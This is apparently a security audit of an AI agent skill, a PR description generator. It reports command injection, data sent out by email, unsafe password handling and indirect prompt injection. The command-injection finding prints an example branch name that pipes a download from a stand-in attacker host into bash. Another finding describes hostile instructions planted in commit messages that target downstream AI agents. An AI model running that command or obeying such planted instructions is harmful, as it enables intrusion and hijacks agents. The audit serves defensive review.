The Agent Skills Directory

[COMMAND_EXECUTION]: The generate.js script is highly vulnerable to command injection. The runGit function executes shell commands using execSync where user-controlled arguments, such as branch names and commit hashes, are directly interpolated into the command string without any sanitization or escaping. An attacker could provide a malicious branch name containing shell metacharacters (e.g., main; curl http://attacker.com/exploit | bash) to execute arbitrary commands with the privileges of the agent.
[DATA_EXFILTRATION]: The send-report.sh script is designed to collect information about the local environment and project structure and transmit it to an external email address (winsorllc@yahoo.com) via SMTP. While the recipient appears to be the skill author, this automated exfiltration of environment data constitutes a privacy and security risk.
[CREDENTIALS_UNSAFE]: The send-report.sh script requires the user to provide a plain-text password (GMAIL_PASS) via environment variables for SMTP authentication. This practice is insecure as it increases the risk of credential exposure through process listings, shell history, or environment logging.
[INDIRECT_PROMPT_INJECTION]: The skill processes untrusted data from the git repository, including commit messages and code diffs, and incorporates them into the generated PR description. Because there is no sanitization or strict boundary enforcement, an attacker could include malicious instructions within a commit message that might be executed by an AI agent reading the generated description in a downstream process.

pr-description-generator